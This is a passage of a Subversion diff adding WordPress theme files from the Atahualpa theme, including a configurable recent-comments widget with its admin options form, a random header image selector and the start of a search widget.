+$postinfo = preg_replace("/(.*)%comments-rss\((.*?)\)%(.*)/i", "\${1}" .$comments_rss_link. "\${3}", $postinfo);
+$postinfo = str_replace("%trackback%", $trackback_url, $postinfo);
+$postinfo = preg_replace("/(.*)%trackback-linked\((.*?)\)%(.*)/i", "\${1}" .$trackback_link. "\${3}", $postinfo);
+$postinfo = preg_replace("/(.*)%edit\((.*?)\)%(.*)/i", "\${1}" .$edit. "\${3}", $postinfo);
+$postinfo = preg_replace("/(.*)%print\((.*?)\)%(.*)/i", "\${1}" .$print_link. "\${3}", $postinfo);
+$postinfo = str_replace("%wp-print%", $wp_print, $postinfo);
+$postinfo = str_replace("%wp-email%", $wp_email, $postinfo);
+$postinfo = str_replace("%wp-postviews%", $wp_postviews, $postinfo);
+$postinfo = str_replace("%wp-postratings%", $wp_postratings, $postinfo);
+$postinfo = str_replace("%sociable%", $sociable, $postinfo);
+
+if (strpos($postinfo_string,'<image(')!==false) {
+// images
+$postinfo = preg_replace_callback("|<image\((.*?)\)>|","image_files",$postinfo);
+}
+
+return $postinfo;
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_recent_comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_recent_comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_recent_comments.php	(revision 44)
@@ -0,0 +1,339 @@
+<?php
+/*
+Plugin Name: BFA Recent Comments Widget
+Plugin URI: http://wordpress.bytesforall.com/
+Description: Highly configurable WordPress widget that shows a list of recent comments.
+Version: 1.0
+Author: BFA Webdesign
+Author URI: http://www.bytesforall.com/
+*/
+
+/*
+Based on v0.2.4 of Recent Comments Widget by Mika Perälä
+http://mika.kfib.org/
+
+Based on v0.1.1 of the Simple Recent Comments-plugin by Raoul
+http://www.raoul.shacknet.nu/
+
+License: GPL
+Compatibility: WordPress 2.2 or newer.
+
+Installation:
+Place the widget_simple_recent_comments.php file in your /wp-content/plugins/widgets/ directory
+and activate through the administration panel, and then go to the widget panel and
+drag it to where you would like to have it!
+*/
+
+/*  Copyright BFA Webdesign - http://wordpress.bytesforall.com/
+
+This program is free software; you can redistribute it and/or modify
+it under the terms of the GNU General Public License as published by
+the Free Software Foundation; either version 2 of the License, or
+(at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+*/
+
+
+/* Changelog
+* Fri Aug 22 2008 - v1.0 
+- Initial release
+*/
+
+
+
+	// Check for the required plugin functions. This will prevent fatal
+	// errors occurring when you deactivate the dynamic-sidebar plugin.
+	if ( !function_exists('register_sidebar_widget') )
+		return;
+
+	// This is the function that outputs our little widget
+	function widget_simple_recent_comments($args) {
+	  extract($args);
+
+	  // Fetch our parameters
+	  $bfa_rc_options = get_option('widget_simple_recent_comments');
+	  $bfa_rc_title = $bfa_rc_options['bfa_rc_title'];
+	  $bfa_rc_src_count = $bfa_rc_options['bfa_rc_src_count'];
+	  $bfa_rc_src_length = $bfa_rc_options['bfa_rc_src_length'];
+	  $bfa_rc_linking_scheme = $bfa_rc_options['bfa_rc_linking_scheme'];
+	  $point_first_link = $bfa_rc_options['point_first_link'];
+	  $point_second_link = $bfa_rc_options['point_second_link'];
+	  $add_dots = $bfa_rc_options['add_dots'];
+	  $limit_by = $bfa_rc_options['limit_by'];
+	  $author_bold = $bfa_rc_options['author_bold'];
+	  $author_em = $bfa_rc_options['author_em'];	  
+	  $comment_bold = $bfa_rc_options['comment_bold'];
+	  $comment_em = $bfa_rc_options['comment_em'];	
+	  $post_bold = $bfa_rc_options['post_bold'];
+	  $post_em = $bfa_rc_options['post_em'];
+	  $author_nofollow = $bfa_rc_options['author_nofollow'];	
+	  $bfa_rc_pre_HTML = $bfa_rc_options['bfa_rc_pre_HTML'];
+	  $bfa_rc_post_HTML = $bfa_rc_options['bfa_rc_post_HTML'];
+	  $bfa_rc_display_homepage = $bfa_rc_options['bfa_rc_display_homepage'];
+	  $bfa_rc_display_category = $bfa_rc_options['bfa_rc_display_category'];
+	  $bfa_rc_display_post = $bfa_rc_options['bfa_rc_display_post'];
+	  $bfa_rc_display_page = $bfa_rc_options['bfa_rc_display_page'];
+	  $bfa_rc_display_archive = $bfa_rc_options['bfa_rc_display_archive'];
+	  $bfa_rc_display_tag = $bfa_rc_options['bfa_rc_display_tag'];
+	  $bfa_rc_display_search = $bfa_rc_options['bfa_rc_display_search'];
+	  $bfa_rc_display_author = $bfa_rc_options['bfa_rc_display_author'];
+	  $bfa_rc_display_404 = $bfa_rc_options['bfa_rc_display_404'];
+	  	  
+	  global $wpdb;
+
+	  if ( (is_home() && $bfa_rc_display_homepage == "on") OR 
+	  (is_category() && $bfa_rc_display_category == "on") OR 
+	  (is_single() && $bfa_rc_display_post == "on") OR 
+	  (is_page() && $bfa_rc_display_page == "on") OR 
+	  (is_date() && $bfa_rc_display_archive == "on") OR 	  
+	  (is_tag() && $bfa_rc_display_tag == "on") OR 
+	  (is_search() && $bfa_rc_display_search == "on") OR 
+	  (is_author() && $bfa_rc_display_author == "on") OR 
+	  (is_404() && $bfa_rc_display_404 == "on")) { 
+
+	  // Build the query and fetch the results
+	  $sql = "SELECT DISTINCT ID, post_title, post_password, comment_ID, comment_post_ID, comment_author, comment_author_url, comment_content, comment_date_gmt, comment_approved, comment_type, ";
+
+	  if ($limit_by == "letters") {
+	  $sql .= "SUBSTRING(comment_content,1,$bfa_rc_src_length) AS com_excerpt "; }
+	  elseif ($limit_by == "words") {
+	  $sql .= "SUBSTRING_INDEX(comment_content,' ',$bfa_rc_src_length) AS com_excerpt "; }
+	  $sql .= "FROM $wpdb->comments 
+		LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID = $wpdb->posts.ID) 
+		WHERE comment_approved = '1' AND comment_type = '' AND post_password = '' 
+		ORDER BY comment_date_gmt DESC 
+		LIMIT $bfa_rc_src_count";
+	  $comments = $wpdb->get_results($sql);
+
+	  // Generate the output string, prepend and append the HTML specified
+	  $output = $bfa_rc_pre_HTML;
+	  $output .= "\n<ul id=\"bfarecentcomments\">";
+	  if (!empty($comments)) {
+	    foreach ($comments as $comment) {
+	      // Make a check if we need to print out '...' after the selected
+	      // comment text. This needs to be done if the text is longer than
+	      // the specified length.
+	      $dots = '';
+#	      if ( $bfa_rc_src_length <= strlen(strip_tags($comment->com_excerpt)) ) $dots = "...";
+              if ($limit_by == "letters") {
+	      if ( $bfa_rc_src_length <= strlen(strip_tags($comment->comment_content)) ) {$dots = "...";}
+	      } 
+	      elseif ($limit_by == "words") {
+	      if ( $bfa_rc_src_length <= count(explode(" ", strip_tags($comment->comment_content))) ) {$dots = "...";}
+	      }
+		// different comment link for WP 2.7 and newer / WP 2.6 and older
+		 if (function_exists('wp_list_comments')) { $comment_link = get_comment_link($comment->comment_ID); } else {
+	      $comment_link = get_permalink($comment->ID) . "#comment-" . $comment->comment_ID; }
+	      $post_link = get_permalink($comment->ID);
+	      $author_link = $comment->comment_author_url;
+	      if ($author_nofollow == "on") {$author_link = $author_link . '" rel="nofollow'; }
+	      
+	      if ($point_first_link == "comment") {$first_link = $comment_link; }
+	      elseif ($point_first_link == "post") {$first_link = $post_link; }
+	      elseif ($point_first_link == "author") {$first_link = $author_link; }
+
+	      if ($point_second_link == "comment") {$second_link = $comment_link; }
+	      elseif ($point_second_link == "post") {$second_link = $post_link; }
+	      elseif ($point_second_link == "author") {$second_link = $author_link; }	      
+	      
+	      $comment_text = strip_tags($comment->com_excerpt);
+	      if ($add_dots == "on") {$comment_text = $comment_text . $dots; }
+	      if ($comment_bold == "on") {$comment_text2 = "<strong>$comment_text</strong>"; } else {$comment_text2 = $comment_text; }
+	      if ($comment_em == "on") {$comment_text2 = "<em>$comment_text2</em>"; }
+	      $post_text = apply_filters('the_title_rss', $comment->post_title);
+	      if ($post_bold == "on") {$post_text2 = "<strong>$post_text</strong>"; } else {$post_text2 = $post_text; }
+	      if ($post_em == "on") {$post_text2 = "<em>$post_text2</em>"; }     
+	      $author_text = $comment->comment_author;
+	      if ($author_bold == "on") {$author_text2 = "<strong>$author_text</strong>"; } else {$author_text2 = $author_text; }
+	      if ($author_em == "on") {$author_text2 = "<em>$author_text2</em>"; }     
+
+	      $output .= "\n\t<li class=\"bfarecentcomments\">";
+	      
+	      if ( $bfa_rc_linking_scheme == "Author Comment link-1" ) {
+	      $output .= "<a href=\"$first_link\" title=\"" . __('On: ','atahualpa') . "$post_text\">$author_text2</a>: $comment_text2";
+	      } elseif ( $bfa_rc_linking_scheme == "Author Comment link-2" ) {
+              $output .= "$author_text2: <a href=\"$first_link\" title=\"" . __('On: ','atahualpa') . "$post_text\">$comment_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Author Comment link-1 link-2" ) {
+              $output .= "<a href=\"$first_link\">$author_text2</a>: <a href=\"$second_link\" title=\"" . __('On: ','atahualpa') . "$post_text\">$comment_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Author Comment link-all" ) {
+              $output .= "<a href=\"$first_link\" title=\"" . __('On: ','atahualpa') . "$post_text\">$author_text2: $comment_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Author on Post link-1" ) {
+              $output .= "<a href=\"$first_link\" title=\"$comment_text\">$author_text2</a>" . __(' on: ','atahualpa') . "$post_text2";
+	      } elseif ( $bfa_rc_linking_scheme == "Author on Post link-2" ) {
+              $output .= "$author_text2" . __(' on: ','atahualpa') . "<a href=\"$first_link\" title=\"$comment_text\">$post_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Author on Post link-1 link-2" ) {
+              $output .= "<a href=\"$first_link\" title=\"$comment_text\">$author_text2</a>" . __(' on: ','atahualpa') . "<a href=\"$second_link\">$post_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Author on Post link-all" ) {
+              $output .= "<a href=\"$first_link\" title=\"$comment_text\">$author_text2" . __(' on: ','atahualpa') . "$post_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Post Comment link-1" ) {
+              $output .= "<a href=\"$first_link\" title=\"$author_text\">$post_text2</a>: $comment_text2";
+	      } elseif ( $bfa_rc_linking_scheme == "Post Comment link-2" ) {
+              $output .= "$post_text2: <a href=\"$first_link\" title=\"$author_text\">$comment_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Post Comment link-1 link-2" ) {
+              $output .= "<a href=\"$first_link\">$post_text2</a>: <a href=\"$second_link\" title=\"$author_text\">$comment_text2</a>";
+	      } elseif ( $bfa_rc_linking_scheme == "Post Comment link-all" ) {
+              $output .= "<a href=\"$first_link\" title=\"$author_text\">$post_text2: $comment_text2</a>";
+              }
+
+	      $output .= "</li>";
+
+	    }
+	  } else {
+	    $output .= 'No comments.';
+	  }
+	  $output .= "\n</ul>";
+	  $output .= $bfa_rc_post_HTML;
+
+	  // remove empty author links
+          $output = preg_replace("/<a href=\"\"(.*?)>(.*?)<\/a>/i","\\2",$output);
+          $output = preg_replace("/<a href=\"http:\/\/\"(.*?)>(.*?)<\/a>/i","\\2",$output);
+	  
+	  // These lines generate the output
+
+	  echo $before_widget . $before_title . $bfa_rc_title . $after_title;
+	  echo $output;  
+	  echo $after_widget;
+	}
+	}
+
+
+	// This is the function that outputs the form to let the users edit
+	// the widget's parameters.
+	function widget_simple_recent_comments_control() {
+
+	  // Fetch the options, check them and if need be, update the options array
+	  $bfa_rc_options = $bfa_rc_newoptions = get_option('widget_simple_recent_comments');
+	  if ( $_POST["bfa_rc_src-submit"] ) {
+	    $bfa_rc_newoptions['bfa_rc_title'] = strip_tags(stripslashes($_POST["bfa_rc_src-title"]));
+	    $bfa_rc_newoptions['bfa_rc_src_count'] = (int) $_POST["bfa_rc_src_count"];
+	    $bfa_rc_newoptions['bfa_rc_src_length'] = (int) $_POST["bfa_rc_src_length"];
+	    $bfa_rc_newoptions['bfa_rc_linking_scheme'] = strip_tags(stripslashes($_POST["bfa_rc_linking_scheme"]));	
+	    $bfa_rc_newoptions['point_first_link'] = $_POST["point_first_link"];	
+	    $bfa_rc_newoptions['point_second_link'] = $_POST["point_second_link"];
+#	    $bfa_rc_newoptions['add_dots'] = $_POST["add_dots"];
+	    $bfa_rc_newoptions['add_dots'] = !isset($_POST["add_dots"]) ? NULL : $_POST["add_dots"];
+	    $bfa_rc_newoptions['limit_by'] = $_POST["limit_by"];	
+	    $bfa_rc_newoptions['author_bold'] = !isset($_POST["author_bold"]) ? NULL : $_POST["author_bold"];	        	    	    
+	    $bfa_rc_newoptions['author_em'] = !isset($_POST["author_em"]) ? NULL : $_POST["author_em"];
+	    $bfa_rc_newoptions['comment_bold'] = !isset($_POST["comment_bold"]) ? NULL : $_POST["comment_bold"];
+	    $bfa_rc_newoptions['comment_em'] = !isset($_POST["comment_em"]) ? NULL : $_POST["comment_em"];	    	    
+	    $bfa_rc_newoptions['post_bold'] = !isset($_POST["post_bold"]) ? NULL : $_POST["post_bold"];
+	    $bfa_rc_newoptions['post_em'] = !isset($_POST["post_em"]) ? NULL : $_POST["post_em"];	    	    
+	    $bfa_rc_newoptions['author_nofollow'] = !isset($_POST["author_nofollow"]) ? NULL : $_POST["author_nofollow"];	    	    
+	    $bfa_rc_newoptions['bfa_rc_display_homepage'] = !isset($_POST["bfa_rc_display_homepage"]) ? NULL : $_POST["bfa_rc_display_homepage"];
+	    $bfa_rc_newoptions['bfa_rc_display_category'] = !isset($_POST["bfa_rc_display_category"]) ? NULL : $_POST["bfa_rc_display_category"];
+	    $bfa_rc_newoptions['bfa_rc_display_post'] = !isset($_POST["bfa_rc_display_post"]) ? NULL : $_POST["bfa_rc_display_post"];
+	    $bfa_rc_newoptions['bfa_rc_display_page'] = !isset($_POST["bfa_rc_display_page"]) ? NULL : $_POST["bfa_rc_display_page"];
+	    $bfa_rc_newoptions['bfa_rc_display_archive'] = !isset($_POST["bfa_rc_display_archive"]) ? NULL : $_POST["bfa_rc_display_archive"];
+	    $bfa_rc_newoptions['bfa_rc_display_tag'] = !isset($_POST["bfa_rc_display_tag"]) ? NULL : $_POST["bfa_rc_display_tag"];
+	    $bfa_rc_newoptions['bfa_rc_display_search'] = !isset($_POST["bfa_rc_display_search"]) ? NULL : $_POST["bfa_rc_display_search"];
+	    $bfa_rc_newoptions['bfa_rc_display_author'] = !isset($_POST["bfa_rc_display_author"]) ? NULL : $_POST["bfa_rc_display_author"];
+	    $bfa_rc_newoptions['bfa_rc_display_404'] = !isset($_POST["bfa_rc_display_404"]) ? NULL : $_POST["bfa_rc_display_404"];
+	    	    	    	    
+	  }
+	  if ( $bfa_rc_options != $bfa_rc_newoptions ) {
+	    $bfa_rc_options = $bfa_rc_newoptions;
+	    update_option('widget_simple_recent_comments', $bfa_rc_options);
+	  }
+
+	  // Default options to the parameters
+	  if ( !$bfa_rc_options['bfa_rc_src_count'] ) $bfa_rc_options['bfa_rc_src_count'] = 7;
+	  if ( !$bfa_rc_options['bfa_rc_src_length'] ) $bfa_rc_options['bfa_rc_src_length'] = 60;
+	  if ( !$bfa_rc_options['bfa_rc_linking_scheme'] ) $bfa_rc_options['bfa_rc_linking_scheme'] = "Author Comment link-all";
+	  if ( !$bfa_rc_options['point_first_link'] ) $bfa_rc_options['point_first_link'] = "author";
+	  if ( !$bfa_rc_options['point_second_link'] ) $bfa_rc_options['point_second_link'] = "comment";
+	  if ( !$bfa_rc_options['limit_by'] ) $bfa_rc_options['limit_by'] = "letters";
+	  if ( !$bfa_rc_options['author_nofollow'] ) $bfa_rc_options['author_nofollow'] = "on";
+	  
+	  $bfa_rc_src_count = $bfa_rc_options['bfa_rc_src_count'];
+	  $bfa_rc_src_length = $bfa_rc_options['bfa_rc_src_length'];
+	  $bfa_rc_linking_scheme = $bfa_rc_options['bfa_rc_linking_scheme'];
+	  $point_first_link = $bfa_rc_options['point_first_link'];
+	  $point_second_link = $bfa_rc_options['point_second_link'];
+	  $add_dots = $bfa_rc_options['add_dots'];
+	  $limit_by = $bfa_rc_options['limit_by'];
+	  $author_bold = $bfa_rc_options['author_bold'];	  
+	  $author_em = $bfa_rc_options['author_em'];	  
+	  $comment_bold = $bfa_rc_options['comment_bold'];	  
+	  $comment_em = $bfa_rc_options['comment_em'];	  
+	  $post_bold = $bfa_rc_options['post_bold'];	  
+	  $post_em = $bfa_rc_options['post_em'];	  
+	  $author_nofollow = $bfa_rc_options['author_nofollow'];	  
+	  $bfa_rc_display_homepage = $bfa_rc_options['bfa_rc_display_homepage'];
+	  $bfa_rc_display_category = $bfa_rc_options['bfa_rc_display_category'];
+	  $bfa_rc_display_post = $bfa_rc_options['bfa_rc_display_post'];
+	  $bfa_rc_display_page = $bfa_rc_options['bfa_rc_display_page'];
+	  $bfa_rc_display_archive = $bfa_rc_options['bfa_rc_display_archive'];
+	  $bfa_rc_display_tag = $bfa_rc_options['bfa_rc_display_tag'];	  
+	  $bfa_rc_display_search = $bfa_rc_options['bfa_rc_display_search'];
+	  $bfa_rc_display_author = $bfa_rc_options['bfa_rc_display_author'];
+	  $bfa_rc_display_404 = $bfa_rc_options['bfa_rc_display_404'];
+	  	  
+	  // Deal with HTML in the parameters
+	  $bfa_rc_pre_HTML = htmlspecialchars($bfa_rc_options['bfa_rc_pre_HTML'], ENT_QUOTES);
+	  $bfa_rc_post_HTML = htmlspecialchars($bfa_rc_options['bfa_rc_post_HTML'], ENT_QUOTES);
+	  $bfa_rc_title = htmlspecialchars($bfa_rc_options['bfa_rc_title'], ENT_QUOTES);
+
+?>
+	    Title: <input style="width: 450px;" id="bfa_rc_src-title" name="bfa_rc_src-title" type="text" value="<?php echo $bfa_rc_title; ?>" />
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+            <p style="text-align: left;">Show <input style="width: 40px;" id="bfa_rc_src_count" name="bfa_rc_src_count" type="text" value="<?php echo $bfa_rc_src_count; ?>" /> comments like this:</p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author Comment link-1" <?php if($bfa_rc_linking_scheme == "Author Comment link-1"){echo " CHECKED";}?> /> <a href="#" title="On: Post Title">Author Name</a>: Comment Text</p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author Comment link-2" <?php if($bfa_rc_linking_scheme == "Author Comment link-2"){echo " CHECKED";}?> /> Author Name: <a href="#" title="On: Post Title">Comment Text</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author Comment link-1 link-2" <?php if($bfa_rc_linking_scheme == "Author Comment link-1 link-2"){echo " CHECKED";}?> /> <a href="#">Author Name</a>: <a href="#" title="On: Post Title">Comment Text</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author Comment link-all" <?php if($bfa_rc_linking_scheme == "Author Comment link-all"){echo " CHECKED";}?> /> <a href="#" title="On: Post Title">Author Name: Comment Text</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author on Post link-1" <?php if($bfa_rc_linking_scheme == "Author on Post link-1"){echo " CHECKED";}?> /> <a href="#" title="Comment Text">Author Name</a> on: Post Title</p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author on Post link-2" <?php if($bfa_rc_linking_scheme == "Author on Post link-2"){echo " CHECKED";}?> /> Author Name on: <a href="#" title="Comment Text">Post Title</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author on Post link-1 link-2" <?php if($bfa_rc_linking_scheme == "Author on Post link-1 link-2"){echo " CHECKED";}?> /> <a href="#" title="Comment Text">Author Name</a> on: <a href="#">Post Title</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Author on Post link-all" <?php if($bfa_rc_linking_scheme == "Author on Post link-all"){echo " CHECKED";}?> /> <a href="#" title="Comment Text">Author Name on: Post Title</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Post Comment link-1" <?php if($bfa_rc_linking_scheme == "Post Comment link-1"){echo " CHECKED";}?> /> <a href="#" title="Author Name">Post Title</a>: Comment Text</p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Post Comment link-2" <?php if($bfa_rc_linking_scheme == "Post Comment link-2"){echo " CHECKED";}?> /> Post Title: <a href="#" title="Author Name">Comment Text</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Post Comment link-1 link-2" <?php if($bfa_rc_linking_scheme == "Post Comment link-1 link-2"){echo " CHECKED";}?> /> <a href="#">Post Title</a>: <a href="#" title="Author Name">Comment Text</a></p>
+            <p style="float: left; width: 195px; text-align: left;"><input id="bfa_rc_linking_scheme" name="bfa_rc_linking_scheme" type="radio" value="Post Comment link-all" <?php if($bfa_rc_linking_scheme == "Post Comment link-all"){echo " CHECKED";}?> /> <a href="#" title="Author Name">Post Title: Comment Text</a></p>
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+            <p style="clear:left">Point the first link to:</p> 
+            <p style="float: left; text-align: left;"><input id="point_first_link" name="point_first_link" type="radio" value="author" <?php if($point_first_link == "author"){echo " CHECKED";}?> /> the author's homepage (if any)</p>
+            <p style="float: left; margin-left: 10px; text-align: left;"><input id="point_first_link" name="point_first_link" type="radio" value="comment" <?php if($point_first_link == "comment"){echo " CHECKED";}?> /> the comments</p>            
+            <p style="float: left; margin-left: 10px; text-align: left;"><input id="point_first_link" name="point_first_link" type="radio" value="post" <?php if($point_first_link == "post"){echo " CHECKED";}?> /> the post</p>              
+            <p style="clear:left">Point the second link (if any) to:</p>
+            <p style="float: left; text-align: left;"><input id="point_second_link" name="point_second_link" type="radio" value="author" <?php if($point_second_link == "author"){echo " CHECKED";}?> /> the author's homepage (if any)</p>
+            <p style="float: left; margin-left: 10px; text-align: left;"><input id="point_second_link" name="point_second_link" type="radio" value="comment" <?php if($point_second_link == "comment"){echo " CHECKED";}?> /> the comments</p>            
+            <p style="float: left; margin-left: 10px; text-align: left;"><input id="point_second_link" name="point_second_link" type="radio" value="post" <?php if($point_second_link == "post"){echo " CHECKED";}?> /> the post</p>              
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+	    <p><input id="author_nofollow" name="author_nofollow" type="checkbox" <?php if($author_nofollow == "on"){echo " CHECKED";}?> /> Set the link to the Author Homepage to "Nofollow"</p>
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+   	    Limit the comment text to <input style="width: 40px;" id="bfa_rc_src_length" name="bfa_rc_src_length" type="text" value="<?php echo $bfa_rc_src_length; ?>" /> <input id="limit_by" name="limit_by" type="radio" value="letters" <?php if($limit_by == "letters"){echo " CHECKED";}?> /> letters <input id="limit_by" name="limit_by" type="radio" value="words" <?php if($limit_by == "words"){echo " CHECKED";}?> /> words.&nbsp;&nbsp;&nbsp;<input id="add_dots" name="add_dots" type="checkbox" <?php if($add_dots == "on"){echo " CHECKED";}?> /> add "..." if the actual comment is longer than that.</p>
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+	    <p>Make the Author Name <input id="author_bold" name="author_bold" type="checkbox" <?php if($author_bold == "on"){echo " CHECKED";}?> /> <strong>Bold</strong>  <input id="author_em" name="author_em" type="checkbox" <?php if($author_em == "on"){echo " CHECKED";}?> /> <em>Emphasized</em></p>
+	    <p>Make the Comment Text <input id="comment_bold" name="comment_bold" type="checkbox" <?php if($comment_bold == "on"){echo " CHECKED";}?> /> <strong>Bold</strong>  <input id="comment_em" name="comment_em" type="checkbox" <?php if($comment_em == "on"){echo " CHECKED";}?> /> <em>Emphasized</em></p>
+	    <p>Make the Post Title <input id="post_bold" name="post_bold" type="checkbox" <?php if($post_bold == "on"){echo " CHECKED";}?> /> <strong>Bold</strong>  <input id="post_em" name="post_em" type="checkbox" <?php if($post_em == "on"){echo " CHECKED";}?> /> <em>Emphasized</em></p>
+	    <hr noshade size="1" style="clear:left; color: #ccc">
+            <p>Display the list on:</p>            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_homepage" name="bfa_rc_display_homepage" type="checkbox" <?php if($bfa_rc_display_homepage == "on"){echo " CHECKED";}?> /> Homepage</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_category" name="bfa_rc_display_category" type="checkbox" <?php if($bfa_rc_display_category == "on"){echo " CHECKED";}?> /> Category Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_post" name="bfa_rc_display_post" type="checkbox" <?php if($bfa_rc_display_post == "on"){echo " CHECKED";}?> /> Single Post Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_page" name="bfa_rc_display_page" type="checkbox" <?php if($bfa_rc_display_page == "on"){echo " CHECKED";}?> /> "Page" Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_archive" name="bfa_rc_display_archive" type="checkbox" <?php if($bfa_rc_display_archive == "on"){echo " CHECKED";}?> /> Archive Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_tag" name="bfa_rc_display_tag" type="checkbox" <?php if($bfa_rc_display_tag == "on"){echo " CHECKED";}?> /> Tag Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_search" name="bfa_rc_display_search" type="checkbox" <?php if($bfa_rc_display_search == "on"){echo " CHECKED";}?> /> Search Result Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_author" name="bfa_rc_display_author" type="checkbox" <?php if($bfa_rc_display_author == "on"){echo " CHECKED";}?> /> Author Pages</p>
+            <p style="float: left; width: 160px; text-align: left;"><input id="bfa_rc_display_404" name="bfa_rc_display_404" type="checkbox" <?php if($bfa_rc_display_404 == "on"){echo " CHECKED";}?> /> 404 Not Found Pages</p>
+  	    <input type="hidden" id="bfa_rc_src-submit" name="bfa_rc_src-submit" value="1" />
+<?php
+	 }
+	
+	// This registers our widget so it appears with the other available
+	// widgets and can be dragged and dropped into any active sidebars.
+	register_sidebar_widget('BFA Recent Comments', 'widget_simple_recent_comments');
+
+	// This registers our optional widget control form. Because of this
+	// our widget will have a button that reveals a 520x480 pixel form.
+	register_widget_control('BFA Recent Comments', 'widget_simple_recent_comments_control', 620, 520);
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_rotating_header_images.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_rotating_header_images.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_rotating_header_images.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+global $options;
+foreach ($options as $value) {
+if (get_settings( $value['id'] ) === FALSE) { $$value['id'] = $value['std']; } else { $$value['id'] = get_settings( $value['id'] ); } }
+
+$selected_header_image = "";
+
+if (file_exists(ABSPATH."/wpmu-settings.php")) {
+
+	################### images in WP upload folder (on WPMU)
+	
+	$header_images_in_wp_upload_folder = m_find_in_dir(get_option('upload_path'),
+		'atahualpa_header_[0-9]+\.(jpe?g|png|gif|bmp)$');
+
+	if ($header_images_in_wp_upload_folder) {
+		shuffle($header_images_in_wp_upload_folder);
+		$selected_header_image = array_shift($header_images_in_wp_upload_folder);
+		$selected_header_image = str_replace(get_option('upload_path'),
+		get_option('fileupload_url'), $selected_header_image); 
+		}
+
+}
+
+# If no user uploaded header image files were found, or this is not WPMU
+
+if (!file_exists(ABSPATH."/wpmu-settings.php") OR $selected_header_image == "" ) {
+
+		
+	################### images in /images/header/ (on regular WordPress)
+
+	$files = "";
+	$imgpath = TEMPLATEPATH . '/images/header/';
+	$imgdir = get_bloginfo('template_directory') . '/images/header/';
+	$dh  = opendir($imgpath);
+
+	while (false !== ($filename = readdir($dh))) {
+		if(eregi('.jpg', $filename) || eregi('.gif', $filename) || eregi('.png', $filename)) {
+	   $files[] = $filename;
+	   }
+	}
+	closedir($dh);
+
+	/* Generate a random number */
+	$amount_images = count($files);
+	$number_images = ($amount_images-1);
+	$randnum = rand(0,$number_images);
+
+	/* print the result */
+	$selected_header_image = $imgdir . $files[$randnum];
+
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_search_widget.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_search_widget.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/atahualpa/functions/bfa_search_widget.php	(revision 44)
@@ -0,0 +1,25 @@
+<?php // create new search widget
+function widget_search($args) {
+	extract($args);
+	$searchform_template = get_template_directory() . '/searchform.php';
+	
+	echo $before_widget;
+	
+	// Use current theme search form if it exists
+	if ( file_exists($searchform_template) ) {
+		include_once($searchform_template);
+	} else { ?>
+		<form id="searchform" method="get" action="<?php bloginfo('url'); ?>/"><div>
